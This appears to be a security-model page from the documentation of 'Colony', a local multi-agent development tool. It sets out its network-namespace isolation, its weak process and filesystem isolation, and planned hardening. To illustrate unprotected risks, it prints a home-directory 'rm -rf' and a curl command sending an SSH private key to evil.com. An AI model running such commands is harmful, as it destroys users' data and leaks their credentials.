Security Model

Colony balances isolation (preventing colonies from interfering) with performance (native filesystem speed). Here’s what Colony protects, what it doesn’t, and why.

Threat Model

Colony is for local multi-agent development, not untrusted code execution.

In scope:

• Preventing colonies from accidentally interfering
• Isolating network resources (ports, DNS, connections)
• Protecting the host from misbehaving colonies
• Auditable codebase (FSL license)

Out of scope:

• Preventing intentional malicious activity
• Full sandbox security (use containers/VMs for untrusted code)
• Multi-user isolation (Phase 1 is single-user)

Isolation Guarantees

Network Isolation (Strong)

Each colony runs in a Linux network namespace:

• Port isolation — Colonies bind to the same port without conflict
• Network interface isolation — Each colony has its own lo (loopback)
• Connection isolation — Network connections don’t leak

Example:

# Colony A binds to :3000
ip netns exec colony-a npm run dev &

# Colony B also binds to :3000 (no conflict!)
ip netns exec colony-b npm run dev &

Both run on “port 3000” because they’re in separate namespaces.

Limitation: Namespaces share IP address space. Phase 2+ uses veth pairs for full IP isolation.

Process Isolation (Weak)

Colonies are not process-isolated. All processes run under the same user. All visible via ps.

What this means:

• Colonies can send signals (kill) to other colonies’ processes
• Processes can read /proc entries of other colonies
• No per-colony resource limits (CPU, memory)

Planned: Phase 2+ uses cgroups for resource limits and user namespaces for UID isolation.

Filesystem Isolation (None)

Colonies share the filesystem. Colonies can read/write any file you can access.

Why shared:

• Performance — No bind mounts, overlay layers, or FUSE overhead
• Simplicity — Jujutsu workspaces are just directories
• Interoperability — Easy to inspect colony state

Risk: A misbehaving colony could delete other colonies’ files.

Mitigation: Colonies run as your user. Filesystem permissions apply. Use standard Unix permissions for sensitive files.

Security Features

Caddy TLS (Planned)

Phase 2 enables automatic TLS via Caddy + Let’s Encrypt:

https://my-app-3000.colony.local

Encrypted communication between browser and colony. Useful for testing production TLS locally.

Agent Sandboxing (Planned)

Phase 2+ will add agent sandboxing options:

Level	Mechanism	Performance	Use Case
None	Native execution	Native speed	Trusted agents
Basic	Network namespace only	~Native	Default
Moderate	+ cgroups + user namespace	~95%	Untrusted code
Full	Docker/Firecracker VM	80-90%	High-risk agents

Users choose the trade-off between isolation and performance.

Audit Logging (Phase 2+)

VictoriaLogs (Phase 2+) captures:

• Colony lifecycle events (spawn, stop, delete)
• Network connections (ingress/egress)
• Filesystem access (via eBPF, optional)
• Agent actions (commands, file modifications)

Enables forensic analysis if a colony misbehaves.

FSL License and Security

Colony uses the Functional Source License (FSL-1.1-MIT). Converts to Apache 2.0 after 2 years.

Security benefits:

• Source-available — Anyone can audit the code
• No security through obscurity — All mechanisms are transparent
• Community review — Open source community can report issues

Responsible Disclosure:

Found a vulnerability? Email security@colony.dev (planned). We’ll coordinate disclosure and credit you (if you want).

What Colony Does NOT Protect Against

Intentional Malicious Code

If an AI agent generates:

rm -rf ~/*

And you run it, Colony won’t stop it. The code runs as your user with your permissions.

Mitigation: Review agent-generated code before running. Especially destructive commands. Use Jujutsu to roll back mistakes.

Resource Exhaustion

A colony can consume 100% CPU, fill disk space, or exhaust memory. No resource limits enforced.

Planned: Phase 2+ uses cgroups to cap:

• CPU (% of total)
• Memory (MB limit)
• Disk I/O (IOPS limit)
• Disk space (quota per colony)

Network Attacks

Colonies can make arbitrary network requests. No outbound firewall.

Example:

# Colony exfiltrates data
curl https://evil.com/steal --data @~/.ssh/id_rsa

Mitigation: Phase 2+ offers outbound firewall rules via iptables per namespace.

Privilege Escalation

Colonies run as your user. If you have sudo, colonies can use it.

Mitigation: Don’t run Colony with sudo or as root. Use a dedicated low-privilege user for production (SaaS architecture).

macOS vs Linux Security

Colony’s isolation needs Linux kernel primitives (network namespaces, cgroups). On macOS:

• Network namespaces — Not available (no macOS equivalent)
• Process isolation — Same weak isolation as Linux
• Filesystem isolation — Same (none)

macOS workaround: Run Colony in a Linux VM (Lima, Parallels) for full isolation. Native macOS is for development only.

Multi-User Security (Phase 2+)

Phase 1 is single-user. Phase 2+ adds multi-user support:

Feature	Mechanism
User isolation	User namespaces (separate UIDs per tenant)
Authentication	Better-Auth (self-hosted)
Authorization	RBAC
Colony ownership	Only owner can stop/delete
Shared colonies	Read-only for team members

Critical for SaaS deployment (Control Plane architecture).

SaaS Security Architecture

Colony Cloud (planned SaaS) uses dedicated infrastructure per customer:

Customer A        Customer B
   ↓                 ↓
Hetzner VM 1      Hetzner VM 2
   ↓                 ↓
Mycelium          Mycelium
   ↓                 ↓
Colonies (N)      Colonies (N)

Why dedicated VMs:

• Tenant isolation — No cross-customer attacks
• Performance — No noisy neighbors
• Compliance — Easier GDPR, SOC 2

Control Plane security:

• Encrypted transit — TLS for all API calls
• Encrypted at rest — Postgres database encryption (Phase 2)
• Secrets management — HashiCorp Vault (Phase 3)
• DDoS protection — Cloudflare

Security Checklist for Users

Running Colony in production (not recommended for Phase 1):

• Run as a dedicated low-privilege user
• Use firewall rules to restrict outbound (iptables)
• Enable audit logging (Phase 2+)
• Review agent-generated code before running
• Use Jujutsu snapshots to roll back mistakes
• Keep Colony up to date
• Monitor resource usage per colony
• Use TLS for external connections (Caddy auto-TLS)

Security Roadmap

Phase	Feature	Status
1	Network namespace isolation	✓ Done
1	FSL source-available license	✓ Done
2	Caddy automatic TLS	Planned
2	cgroups resource limits	Planned
2	VictoriaLogs audit logging	Planned
3	Agent sandboxing levels	Planned
3	User namespaces (multi-user)	Planned
3	eBPF filesystem auditing	Planned
3	Bug bounty program	Planned

Reporting Security Issues

Found a vulnerability? Email security@colony.dev (coming soon):

• Describe the issue
• Steps to reproduce
• Potential impact
• Suggested fix (if you have one)

We’ll respond within 48 hours.

Next Steps

• Networking Deep Dive — Understanding isolation boundaries
• Configuration Reference — Secure configuration practices
• Architecture Overview — How components interact
• Contributing Guide — Security review process for contributions